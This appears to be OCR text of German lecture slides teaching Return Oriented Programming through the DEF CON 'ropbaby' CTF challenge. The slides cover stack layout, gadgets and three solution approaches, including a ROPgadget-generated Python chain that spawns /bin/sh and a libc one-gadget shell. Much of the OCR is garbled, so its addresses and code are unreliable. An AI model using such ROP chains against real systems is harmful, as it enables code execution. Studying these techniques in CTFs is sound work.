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Kontext

Baby's First
Coding Challengeld

e Babys First (repbaby)

e Return Oriented Reverse Engineering
Programming (ROP)

e 64bit \VAV/=s)

Mliscellaneous|z][3]
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Heap & Stack — Speicherverwaltung

Heap

e Haufen"
o Dynamischer Speicher
e malloc/free

Stack

o Stapel*
e ,Wdchst nach unten’
e push/pop

Environment Informationen

Stack

rl

Heap

uninitialisierte Daten

initialisierte Daten

Programmcode

Hohe Speicheradressen
(Oxf£££)

Niedrige Speicheradressen
(0x0000)
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call & ret — Funktionsaufrufe

call address ret
e Riicksprungadresse auf den Stack pushen o Riicksprungadresse vom Stack holen
e Zur angegebenen Adresse springen o /u dieser Adresse springen
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Programmablauf

0x01 mov rdi, 1 Stack:
0x02 mov rsi, 2 Oxffff
0x03 call add

0x04 ...

add:

0xd1 push rbp

0xd2 mov rbp, rsp

0xd3 sub rsp, 8

0xd4 mov [rbp-0], rdi

0xd5 add [rbp-0], rsi

0xd6 mov rdi, [rbp-0]

0xd7 add rsp, 8

0xd8 pop rbp

0xd9 ret
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Programmablauf
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Programmablauf
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0x04 ... Oxffef | rbp_alt
add: Oxffe7 |1
0xd1 push rbp

0xd2 mov rbp, rsp
0xd3 sub rsp, 8

0xd4 mov [rbp-0], rdi
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Programmablauf
0x01 mov rdi, 1 Stack:
0x02 mov rsi, 2 Oxffff | ...
0x03 call add Oxfff7 | 0x04
0x04 ... Oxffef | rbp_alt
add: Oxffe7 |3
0xd1 push rbp
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0xd7 add rsp, 8

0xd8 pop rbp

0xd9 ret
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Programmablauf mit ROP

Fehler im Programm ermdglicht Modifikation des Stacks
Uberschreiben des Stacks mit Adressen zu Gadgets

Jedes ret sorgt dafiir, dass ein weiteres Gadget ausgefihrt wird

Im Prinzip Rann man damit Programmieren

Umgeht das Problem von nicht-ausfiihrbarem Speicher
Stack-Guards konnen einen veranderten Stack erkennen
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Gadgets

exeoesonsessonnto: dword ptr [rdx - 0x7b] ; mov bl, -0x12 ; enter x59e7, OxSb ; ret 0x2a63
edx ; add eax, 2 ; mov dword ptr [rsp], eax ; call rbx
edx ; add rsp, 8 ; mov rax, rdx ; re
edx ; div rbx ; pop rbx ; pop rbp ; pop ri2 ; ret

Ter1, rox 5 re
per [rax + ma] 5 gmp rax
ve rax, rdx ;

P 5 POP rbp ; pop ri2 ; ret
rsp + 6x29], ~6x80 ; 5 jmp exfa23s
148 - 1] ; sbb al, jae Ox1a0b71 ; jmp qword ptr [rdx]

, duord pr [rdi]
dword ptr [rsi]

oroesh] | cme 3 Jep vord pir [rax]
i T = GG ) & 1) 1 6o (o]
edi 5 gmp r

5} I oncrren

esp 5 push rbp ; push rbx 5 xor ebx, ebx ; call Ox12ades
r16d ; jmp 6xddb3e

e 5 or s, b calL xi2nd
S xitan

bytz ptr [rax] ; xor eax, eax ; ret
9626 5 moy auord ptr (1 + Gxds], rax § pop b ; et
quord ptr [9x30] ; call r
p rax
3 call rax
3w rax
ol ety b
G pir [0 3 Gatl
» quord ptr fs:[0x30] ; :all rax
auord ptr [9x36] ; call rdx
auord ptr fs:[6x30] ; call rdx
ax008000000007033¢ rdx, rdx 5 pop r12 ; Jmp rax

Unigue gadgets found: 21569
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ropbaby — das Programm

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom rOp buffer to stack
4) Exit
1
libc.so.6: 0x@0E07F5AF3B6E9IBO
1) Get libc address
2) Get address of a libc function
3) Nom nom rOp buffer to stack
4) Exit
12
Enter symbol: system
Symbol system: ©x00007F5AF33C8B30
1) Get libc address
2) Get address of a libc function
3) Nom nom rOp buffer to stack
4) Exit
: 3

Enter bytes to send (max 1024): 11
aaaaaaaaaa

1) Get libc address

2) Get address of a libc function
3) Nom nom rOp buffer to stack

4) Exit

Bad choice.
Segmentation fault (core dumped)
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ropbaby — der Code
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ropbaby — der Code

rdx, rl2
mov rsi, rbx
mov rdi, rbp
call j_memcpy

Oxcca
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ropbaby — der (ode

memcpy (rbp, data, len)

rdx, r

mov rsi, rbx
mov rdi, rbp
call j_memcpy

Oxcca
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Eine Losung — ein generischer Weg

- Step 5 —- Build the ROP chain

#1/usr/bin/env python2
# execve generated by ROPgadget

from struct import pack

. . . . dding goes here
e Richtige libc Version finden -
pack('<Q', ©x0000000000022bla) # pop rdi ; ret
1 H pack('<Q', 0x00000000003be080) # @ .data
- Adressen von Funktionen vergleichen o O sty () o e (s
. . . '/bin//sh"
- pack('<Q', ©x0000000000091da9) # mov qword ptr [rdil, rax ; pop rbx ; pop rbp ; ret
Raten (haufig ist es die aktuelle von Ubuntu) U GrTmmmm) O
pack('<Q', ©x4141414141414141) # padding
pack('<Q', 0x0000000000022bla) # pop rdi ; ret
[ ] ROP TOO' benutzen pack('<Q', 8x00000000003be088) # @ .data + 8
pack('<Q', ©x0000000000088c85) xor rax, rax ; ret
. pack('<Q', 0x0000000000091da9) # mov qword ptr [rdil, rax ; pop rbx ; pop rbp ; ret
pack('<Q', 0x4141414141414141) # padding
o libc-Offset auslesen R o
pack('<Q', ©x0000000000022bla) pop rdi ; ret
h b h b pack('<Q', 0x00000000003be080) d
pack('<Q', ©x0000000000024805)
® Stac esc rel en pack('<Q', ©x00000000003be088)
pack('<Q', ©x0000000000001b8e)
. pack('<Q', 0x00000000003be088) i
e Fertig\o/ O LT Lot ) o Foet o 0

pack('<Q', 0x0080090000022fcO) rax, 1;
pack('<Q', 0x0090000000022fc0) rax, 1 ;
pack('<Q', 0x00000000000a2fcO) rax, 1
pack('<Q', ©x00000000000a2fcO) rax, 1 ;
pack('<Q', 0x0080090000022fcO) rax, 1;
pack('<Q', 0x00000000000a2fc0) rax, 1 ;
pack('<Q', 0x00000000000a2fcO) rax, 1 ;
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Eine Losung — ein eleganter Weg

e libc beinhaltet den String,,/bin/sh"

e [sgibteinGadget: pop rax; pop rdi; call rax

e libc-Offset auslesen

e Stack mit Gadget, Adresse von systemund,,/bin/sh" vorbereiten
e fertig\o/
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Eine Losung — ein Rurzer Weg

UAUYUUUUUUUUUHOILL mov cul, uRe 5 GUEUNEIIL mL 1UI WELIVU > 1P ULHash
0x0000000000046527 call sigprocmask

bx000000000004652c mov rax, gword [ds:®x3bdea8]

0x0000000000046533 lea rdi, gword [ds:®x17ccdb] ;5 "/bin/sh", argument #1 for method execve

0x000000000004653a lea rsi, gword [ss:rsp+arg_28] 3 argument #2 for method execve
0x000000000004653F mov dword [ds:0x3c06c0], 0Ox0

Ox000000EEEE046549 mov dword [ds:0x3c06d0], 0Ox0

Ox0000000000046553 mov rdx, gword [ds:rax]

0x0000000000046556 call execve

0x000000000004655b mov edi, Ox7f 3 argument #1 for method _Exit

e libc hat ein ,magic Gadget™*
e Startet eine Shell, was will man mehr?;)

Thttps://gist.github.com/zachriggle/ca24daf4e8be953a3f96
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https://gist.github.com/zachriggle/ca24daf4e8be953a3f96

Links

o Writeup von @iagox86:
https://blog.skullsecurity.org/2015/
defcon-quals-rO@pbaby-simple-64-bit-rop
e (alling Conventions:
https://en.wikipedia.org/wiki/X86_calling_conventions
o ROPgadget:
https://github.com/JonathanSalwan/ROPgadget
o (TFtime:
https://ctftime.org/
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